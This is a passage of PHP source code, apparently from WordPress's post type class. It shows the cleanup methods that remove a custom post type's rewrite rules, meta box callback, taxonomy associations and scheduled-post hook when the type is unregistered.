remove_rewrite_tag( "%$this->name%" );
remove_permastruct( $this->name );
foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) {
if ( false !== strpos( $query, "index.php?post_type=$this->name" ) ) {
unset( $wp_rewrite->extra_rules_top[ $regex ] );
}
}
}
// Remove registered custom meta capabilities.
foreach ( $this->cap as $cap ) {
unset( $post_type_meta_caps[ $cap ] );
}
}
/**
* Unregisters the post type meta box if a custom callback was specified.
*
* @since 4.6.0
*/
public function unregister_meta_boxes() {
if ( $this->register_meta_box_cb ) {
remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 );
}
}
/**
* Removes the post type from all taxonomies.
*
* @since 4.6.0
*/
public function unregister_taxonomies() {
foreach ( get_object_taxonomies( $this->name ) as $taxonomy ) {
unregister_taxonomy_for_object_type( $taxonomy, $this->name );
}
}
/**
* Removes the future post hook action for the post type.
*
* @since 4.6.0
*/
public function remove_hooks() {
remove_action( 'future_' . $this->name, '_future_post_hook', 5 );
}
}